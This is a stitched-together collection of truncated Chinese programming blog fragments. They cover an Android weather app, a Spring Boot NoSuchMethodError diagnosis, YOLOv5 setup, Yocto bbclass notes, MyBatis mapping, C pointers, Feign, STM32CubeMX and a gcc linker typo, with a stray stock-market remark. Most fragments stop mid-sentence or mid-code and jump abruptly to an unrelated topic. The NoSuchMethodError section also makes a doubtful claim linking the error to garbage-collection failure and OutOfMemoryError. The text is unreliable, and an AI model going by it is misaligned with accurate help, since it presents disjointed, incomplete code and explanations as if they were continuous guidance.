package com.example.weather_forecast; import androidx.appcompat.app.AppCompatActivity; import android.content.SharedPreferences; import android.os.AsyncTask; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EdgeEffect; import android.widget.EditText; import android.widget.ListView; import android.widget.TextView; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.util.Arrays; import java.util.List; public class MainActivity extends AppCompatActivity { EditText editText; Button button; TextView tishi; ListView listView; SharedPreferences spfcode,spf; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initDate(); chaxun(); moren(); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { String tempcity = editText.
目录
环境信息
问题描述
错误分析
解决方法
常见原因
1.第三方包,作用域不对导致应用没导入该包
2.编译时和运行时使用的版本不一样
3.JDK版本不一样
4.多个同路径、同名的类
1.代码复制场景
2.代码移动场景
排查步骤
附录
NoClassDefFoundError
Maven仲裁机制:
JVM类加载机制
环境信息 Spring Boot:2.0.8.RELEASE
Spring Boot内置的tomcat:tomcat-embed-core 8.5.37
问题描述 测试环境,部署打版之后,应用成功启动。可是在收到部分请求的时候,后端报错了,查看日志,发现出现了java.lang.NoSuchMethodError,具体是:
Caused by: java.lang.NoSuchMethodError: com.xxx.utils.IdMakerUtil.getInstance(JJJ)Lcom/x/utilxxs/IdMakerUtil;
at com.xxx.framework.idgenerator.SnowflakeIdGenerator.<init>(SnowflakeIdGenerator.java:18)
at com.xxx.utils.IdUtil.<clinit>(IdUtil.java:19) at com.xxx.framework.web.interceptor.WebRequestBodyAdvice.afterBodyRead(WebRequestBodyAdvice.java:63)
at org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyAdviceChain.afterBodyRead(RequestResponseBodyAdviceChain.java:100)
at org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodArgumentResolver.readWithMessageConverters(AbstractMessageConverterMethodArgumentResolver.java:208)
at 错误分析 java.lang.NoSuchMethodError是一种运行时异常(runtime error),发生于一个方法,在编译的时候是存在的,在程序运行时不存在。java的垃圾处理器(GC)无法回收对象创建时申请的空间,有可能会造成OutOfMemoryError。
在这次报错中,提示了找不到的方法是
com.xxx.utils.IdMakerUtil.getInstance(JJJ)Lcom/xxx/utils/IdMakerUtil;
类全路径是com.xxx.utils.IdMakerUtil,方法名是getInstance,(JJJ)代表该方法有三个参数,发生于com/xxx/utils/IdMakerUtil这个类。
打开本地项目,应用正常启动,请求也能正常放回,不会报NoSuchMethodError。
但是仔细查看本地的IdMakerUtil.getInstance(),发现是个无参方法,和报错提示里使用的三个入参不一样,所以提示了NoSuchMethodError。本地的IdMakerUtil和测试环境的运行jar包里的IdMakerUtil是一样的,那么问题可能出现在调用该方法(IdMakerUtil.getInstance(x,x,x))的地方,即日志里提示的:
com.xxx.framework.idgenerator.SnowflakeIdGenerator.<init>(SnowflakeIdGenerator.java:18)
仔细对比本地和运行jar包里的SnowflakeIdGenerator这个类,在A依赖包里,发现是一样的。但是,并没有在init初始化(构造方法里)调用IdMakerUtil.getInstance(x,x,x)
本地和运行jar包里的SnowflakeIdGenerator:
代码都一样,但是报错了,重点就是运行jar包里SnowflakeIdGenerator的构造方法里,调用了三个入参的IdMakerUtil.getInstance(x,x,x),和本地代码执行逻辑不一样。
由此可以推断,运行jar包使用的SnowflakeIdGenerator这个类,不是在A依赖包里的,而是另一个同路径、同名的类(com.xxx.framework.idgenerator.SnowflakeIdGenerator)!涉及到了JVM类加载机制,同路径、同名的类,只能加载一个。
此时,想解决问题得找到实际使用的该SnowflakeIdGenerator类是在哪个jar包里,这时可以通过引入Arthas来查看。Arthas的sc命令,可以用来查看 JVM 已加载的类信息。具体的使用可以见官网。
sc | arthas (aliyun.com)
[arthas@2188]$ sc com.xxx.framework.idgenerator.SnowflakeIdGenerator
com.xxx.framework.idgenerator.SnowflakeIdGenerator
Affect(row-cnt:1) cost in 34 ms.
目录
第一步:下载YOLOv5代码,并配置环境,测试一下是否有无环境问题
第二步:数据集格式的转换与划分
第三步:修改配置文件,准备训练
第一步:下载YOLOv5代码,并配置环境,测试一下是否有无环境问题 yolov5_5.0源代码开源地址: 1.源代码下载后右击选择PyCharm打开,等待一会,会弹出一个要你配置环境的对话框,关掉它,我们自己配置环境。
配置环境: 点击【文件】->【设置】->【Python解释器】,选择相应的环境【我的是:pytorch】
配置要有个一两分钟,等待一下
2.找到【detect.py】,右击运行,报错如下:
原因:没有放权重文件进去,下载地址:权重地址
解决方法:下载后放到项目文件中去。
3.再次运行【detect.py】结果:在D:\DeepLearning\projectone\yolov5-5.0\runs\detect\exp2中生成了预测的结果图片,但是没有预测框?????
解决方法1:在53行添加如下代码:
cudnn.benchmark = True 添加后就是这样的:
然后再运行【detect.py】,结果如下,有了预测框,但是出现的问题就是检测速度变慢了,具体也不知道为啥,有懂得小伙伴可以留言呐!!
解决方法2:在【detect.py】,定位到32行,注释掉原来的代码,更改为
half = False 结果:预测框就出现了!!!!
经过以上测试,说明我们得环境是没有问题的,可以进行下一步啦。
---------------------------------------------------手动分割线---------------------------------------------------------------
第二步:数据集格式的转换与划分 参考博客:
(70条消息) 使用Yolov5训练自己制作的数据集,快速上手_佐咖的博客-CSDN博客_yolov5数据集格式
我使用的是Make Sense在线标注,还是挺方便的,不过要注意一次不要导入太多图片,因为是在线网页上的操作,要是误关了网页,就要重来了。。。使用很简单,这里不赘述。
标注完后得到一份压缩包:
解压后得到xml文件:
下面开始对标注的格式进行转换,并划分数据集,这里是VOC格式
1.首先创建VOC格式数据集文件格式:先对格式做个说明:这里是划分前的文件夹形式,自己按照如下格式创建好文件夹:(说明:dataset是我D盘下的一个文件夹,这里自己定,我没有把VOCdevkit数据集文件夹放到yolo项目根目录中)
在创建好文件夹后,将图片放入JPEGImages,将makesense导出的xml文件放入Annotations。
2.转换脚本:主要修改一下路径
import xml.etree.ElementTree as ET import pickle import os from os import listdir, getcwd from os.path import join import random from shutil import copyfile classes = ["cat","dog","fox"] ## 这里要写好标签对应的类 TRAIN_RATIO = 80 # 表示将数据集划分为训练集和验证集,按照2:8比例来的 def clear_hidden_files(path): dir_list = os.
yocto machine class解析之st-partitions-image stm32mp157 yocto的meta-st-stm32mp layer中提供了几个class,后续几篇文章重点分析这些class文件:
第一篇就从st-partitions-image.bbclass 开始,st所有创建image的bb文件都会引用st-partitions-image,包括bootfs userfs vendorfs等image的bb 文件。这个class会在image编译以后生成分区镜像。
ENABLE_PARTITIONS_IMAGE ?= "1" PARTITIONS_CONFIG ??= "" PARTITIONS_IMAGE ??= "" PARTITIONS_MOUNTPOINT ??= "" python __anonymous () { # We check first if it is requested to generate any partition images if d.getVar('ENABLE_PARTITIONS_IMAGE') != "1": bb.note('ENABLE_PARTITIONS_IMAGE not enabled') return # ----------------------------------------------------------------------------- # Update the partition configuration set by user # ----------------------------------------------------------------------------- partitionsconfigflags = d.getVarFlags('PARTITIONS_CONFIG') # The "doc" varflag is special, we don't want to see it here partitionsconfigflags.
Unity官方 UGUI系统介绍:文档地址
降准利好落地,美联储鸽派言论,但A股走势很差,还是疫情反弹过于厉害。
近期全国各地因为疫情,事情不断。
看明天情况,准备清仓。
转自:
MyBatis一对多关联查询
一对多级联关系的处理
一对多的级联关系:在我们日常开发中有很多这样的情况,
如:
一个用户下面会有很多订单,但是每一个订单都只会属于一个用户,
这就是一个典型的一对多的级联关系操作,那么如何使用MyBatis进行此类数据的查询操作呢?下文将一一道来,如下所示:
实现思路: 在 MyBatis 中, 我们可通过 <resultMap> 元素的子元素 <collection> 处理一对多级联关系, collection 可以将关联查询的多条记录映射到一个 list 集合属性中, 代码如下 <collection property="orderList" ofType="com.java265.po.Order" column="id" select="com.java265.mapper.OrderMapper.selectOrderById" /> 在<collection>元素中通常使用以下属性。 property:指定映射到实体类的对象属性。 column:指定表中对应的字段(即查询返回的列名)。 javaType:指定映射到实体对象属性的类型。 select:指定引入嵌套查询的子 SQL 语句,该属性用于关联映射中的嵌套查询。
一对多关联查询可采用以下两种方式:分步查询,通过两次或多次查询,为一对多关系的实体 Bean 赋值单步查询,通过关联查询实现 例 下面以用户和订单为例讲解一对多关联查询(实现“根据 id 查询用户及其关联的订单信息”的功能)的处理过程。
创建数据表
本实例需要两张数据表,一张是用户表 user,一张是订单表 order,这两张表具有一对多的级联关系。SQL 语句如下: CREATE TABLE `order` ( `id` int(11) NOT NULL AUTO_INCREMENT, `ordernum` int(25) DEFAULT NULL, `userId` int(11) DEFAULT NULL, PRIMARY KEY (`id`), KEY `userId` (`userId`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8; insert into `order`(`id`,`ordernum`,`userId`) values (1,20210101,1),(2,20210102,2),(3,20210103,3),(4,20200645,1),(5,20210104,2),(6,20210105,2),(7,20210106,3); DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(20) DEFAULT NULL, `pwd` varchar(20) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8; insert into `user`(`id`,`name`,`pwd`) values (1,'张三','123'),(2,'王二','456'),(3,'麻子','123'),(4,'张积粮','345'),(5,'李晓爱','123'),(6,'古天乐','789');
前言:
本文乃大一初学时写作,现在已经毕业两年多换方向了,成了前端码农,真正底层原理我现在也忘光光了,建议大家多看看多研究其他大佬的分析,别全听信本文。(也别因为这篇文章关注我了)
指针变量用来存放指针(或者可以理解成地址)。而 & 则是取地址运算符,因此给指针变量赋值的方式一般是把变量的地址取出来,然后付给对应类型的指针变量:
int a; int* p = &a; 上面的代码也可以写成:
int a; int* p; p = &a; 需要注意的是, int* 是指针变量的类型,而后面的 p 才是变量名,用来存储地址,因此地址 &a 是赋值给 p 而不是 *p 的。
所以,int *p中的 p 必须赋予一个地址,如果不是地址,编译器则会报错(实在不能理解的话就把地址当做一个新的类型,类型不同肯定会报错嘛 ╮( ̄▽ ̄)╭)
当然,如果 a 代表的是数组首地址,那就另说了。下面几个例子方便理解:
int *p=a;
#include <stdio.h> int main() { int a = 123; int *p=a; printf("%d\n", p); return 0; } 编译结果:
int *p=&a;
#include <stdio.h> int main() { int a = 123; int *p=&a; printf("
文章目录 一、yolov5介绍二、写在前面三、Anconda 与 pycharm 的安装1.是什么?2.为什么需要Anconda?3.安装教程 四、yolov5安装1.yolov5的源码下载2.预训练模型下载3.安装yolov5的依赖项4.检测是否安装成功5.扩展:pip install 与 conda install区别 五、labelimg的安装 一、yolov5介绍 YOLO 是 “You only look once” 缩写 , 是将图像划分为网格系统的对象检测算法,网格中的每个单元负责检测自身内的对象。
由于其速度和准确性,YOLO是最著名的目标检测算法之一。yolov5作为YOLO系列第五个迭代版本,它的一个特点就是权重文件非常之小,可以搭载在配置更低的移动设备上,而且容易学习上手。
(yolov5各个权重文件的测试效果)
二、写在前面 博主也是最近开始玩yolov5的,甚至也是最近开始使用python的,很多东西都没有接触过,因此搭建环境的过程也比较痛苦,所以想写篇博客记录一下,希望同样是零基础的小伙伴们可以更加轻松的上手。同时大家如果发现了错误和理解偏差,欢迎指正。
参考资料:
1.史上最详细yolov5环境配置搭建+配置所需文件
2.理解Python虚拟环境
3. 半小时搞定Yolov5安装配置及使用(详细过程)
本教程所使用版本:
pycahrm:2021.3.3Anconda:2022.05python:3.9yolov5:v6.2 踩坑经历:
路径中就不要有短横杠-以及空格等等特殊字符,中文更不能要有❗。否则在之后训练时会出现各种路径找不到的问题😭使用pip等下载指令时最好不要挂VPN,否则可能会下载失败 三、Anconda 与 pycharm 的安装 1.是什么? Anconda本质是一个开源的 Python 包管理器,包含了180多个科学包及其依赖项,是基于 conda 的 Python 数据科学和机器学习开发平台。
而python自身缺少numpy、matplotlib、scipy、scikit-learn等一系列包,需要 pip安装来导入这些包才能进行相应运算。
Pycharm本质是一个集成开发环境,能过让你快速运行调试代码。
2.为什么需要Anconda? Anconda除了提供丰富的科学包外,还可以用于进行环境隔离。当我们安装一个 Python 程序或者库的时候,这些包默认都会安装到 Python 当前环境的 site-packages 目录下面。然而,同一个库只能在一个环境中存在一份。
不妨试想这样一个场景:程序A依赖的xxx库要求版本 >=1.23.0,程序B同样依赖xxx库,但是要求版本低于 <= 1.21.0,这样就会出现版本冲突问题。
所以虚拟环境的意义在于,防止不同的python项目需要依赖的版本不同导致的各种冲突问题。
3.安装教程 >博客教程链接
四、yolov5安装 1.yolov5的源码下载 Yolov5 github官网:https://github.com/ultralytics/yolov5 方法一:git clone到本地本地仓库
目录
前言
一、Feign是什么?
二、使用说明
1.引入依赖
2.FeignClient注解的参数说明
实际用例
前言 主要介绍了feign client的参数的用户,并列举了开发中的一个实际用例
一、Feign是什么? Feign是Netflix开发的声明式、模板化的HTTP客户端, Feign可以帮助我们更快捷、优雅地调用HTTP API。Feign支持多种注解,例如Feign自带的注解或者JAX-RS注解等。Spring Cloud对Feign进行了增强,使Feign支持了Spring MVC注解,并整合了Ribbon和Eureka,从而让Feign的使用更加方便。Spring Cloud Feign是基于Netflix feign实现,整合了Spring Cloud Ribbon和Spring Cloud Hystrix,除了提供这两者的强大功能外,还提供了一种声明式的Web服务客户端定义的方式。Spring Cloud Feign帮助我们定义和实现依赖服务接口的定义。在Spring Cloud feign的实现下,只需要创建一个接口并用注解方式配置它,即可完成服务提供方的接口绑定,简化了在使用Spring Cloud Ribbon时自行封装服务调用客户端的开发量。 二、使用说明 1.引入依赖 <!--服务调用--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-openfeign</artifactId> </dependency> 2.FeignClient注解的参数说明 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.springframework.cloud.openfeign; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Inherited; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import org.
yocto杂记 本节记录yocto使用过程中的一些细枝末节的小知识点,供参考查阅:
调试篇 bitbake允许使用log等调试工具。最常用的几个log等级:
plain debug note warn error fatal
bb.debug(1, "Appending 'st_multivolume_ubifs' to IMAGE_POSTPROCESS_COMMAND.") bb.note("Appending 'st_multivolume_ubifs' to IMAGE_POSTPROCESS_COMMAND.") bbnote ">>> DONE" 上面示例的bbnote是shell中使用的,bb.note是在python中使用的
warn error fatal等级会被输出到控制台。
debug是通过增加-D参数到BitBake的命令行来设置的。-D ->1 -DD->2 -DDD->3
普通消息永远不被写到控制台。
变量篇 在各种class和bb文件中经常看见在python和shell函数中获取环境变量和对环境变量进行操作,下面记录了一些最常见的变量:
//获取环境变量 d.getVar('INITRAMFS_IMAGE') or "" //获取环境变量标志,有点类似python的字典 d.getVarFlags('PARTITIONS_CONFIG') //设置环境变量 d.setVar('IMAGE_SUMMARY_LIST', image_summary_list) //追加环境变量 d.appendVar('IMAGE_POSTPROCESS_COMMAND', 'st_multivolume_ubifs;') //追加环境变量标志 d.appendVarFlag('do_image_complete', 'depends', ' %s:do_image_complete' % partition) //判断环境变量中是否包含某项配置 ${@bb.utils.contains('TF_A_CONFIG', 'optee', 'TF_A_CONFIG_optee', '', d)} ${@bb.utils.contains_any('BOOTSCHEME_LABELS', 'optee trusted', 'virtual/trusted-firmware-a', '', d)} ${@' '.join('%s.dtb' % d for d in '${STM32MP_DEVICETREE}'.
一、打开STM32CubeMX选择对应的芯片型号,后进入开发界面
1、双击“STM32CubeMX”软件打开,打开后如下图所示,选择红色框;
选择后可能会更新,等待更新完成即可,如下图:
2、选择开发芯片,作者本例程的芯片是STM32F407VET6,读者根据自己使用的开发板芯片选择即可。操作如下:
按照下图步骤:
步骤1:输入开发使用的芯片型号,作者这里输入:STM32F407VET6,就会在步骤2显示芯片的具体型号;
步骤2:选择具体使用的芯片型号,选中后会高亮;
步骤3:点击“Start Project”,开始进入工程图形配置界面。
二、图形界面配置
由于采集的ADC数据需要查看,所以本例程采用的是通过串口输出采集的数据,输出到电脑端的串口调试助手。
所以除了基本的时钟、晶振等一些配置,还包含串口配置和ADC配置。
1、配置晶振
步骤1:选择“Pinout&Configuration”;
步骤2:选择“System Core”;
步骤3:选择“RCC”;
步骤4、5:选项下拉选择“Crystal/Ceramic Resonator”
下拉选项说明:
Crystal/Ceramic Resonator:晶体/陶瓷晶振,一般使用的都是这个
BYPASS Clock Source:旁路时钟源
2、配置DEBUG和SYS
步骤1:选择“Pinout&Configuration”;
步骤2:选择“System Core”;
步骤3:选择“SYS”;
步骤4:选择“Serial Wire”;
此选项是下载调试的方式选择,有很多种,包括SWD、JTAG等方式,我是ST-link/V2 下载器来下载
步骤5:选择“Sys Tick”;
此选项是HAL时基的选择,有滴答定时器,和其它定时器1、2、3、4、5…,这里选择SysTick滴答定时器。
3、配置调试输出串口1
步骤1:选择“Pinout&Configuration”;
步骤2:选择“Connectivity”;
步骤3:选择“USART1”;
步骤4:选择“Asynchronous”;
此下拉选项有多种选择,分别如下:
Asynchronous:异步通信
Synchronous:同步通信
Single Wire(Half-Duplex):半双工
Multiprocessor Communication:多处理器通信
lrDA:红外数据
LIN:局域网互联
SmartCard:智能卡
步骤5:选择“NVIC Settings”->然后勾选中断使能。
选项卡“Parameter Settings”是设置串口的参数
Basic Parameters->Baud Rate:设置波特率,默认115200,可不修改;
Basic Parameters->Word Length:字长,默认“8Bits”,默认即可;
Basic Parameters->Parity:奇偶校验,默认选择"None"无校验;默认即可;
Basic Parameters->Stop Bits:停止位,默认1,默认即可;
Advanced Parameters->Data Direction:数据方向,默认“Receive and Transmit”可接收发送,默认即可;
编译命令:
gcc linkList.c -o linkList //windows8.1 64位环境
编译报错:
分析与心路:
这个错误很明显,就是调用的函数“myfree”没有定义,我原来是误将“myFree”写为“myfree”,两者太像了,感觉应该没有错啊,找了老半天,发现这个低级错误前,一直盯着提示“collect2: error: ld returned 1 exit status”,这提示的含义就是编译连接时,没有找到先关的文件,可以参考这个博文,collect2: error: ld returned 1 exit status(解决方案大总结),里面总结了很多关于报此类错误的场景,对照这个出错的总结,我查询自己代码是否有“.没有编译成功的情况下,最常见情况是程序本身需要include的头文件被遗漏了”的情况,我的文件目录很简单,查了之后觉得不应有,也确实没有。
之后再次返回到了这个“ undefined reference to `myfree'”报错,选中“myfree”在代码里查询了,确实有,但是得忽略大小写,最后看了函数定义,猛然间发现是误写了...拍断大腿啊,花了将近两小时。
"myfree"函数定义
void myFree(DLlist ptr){ if(NULL == ptr) return; free(ptr); ptr = NULL; } 排查问题一定要忠于提示,集中精力,少想当然。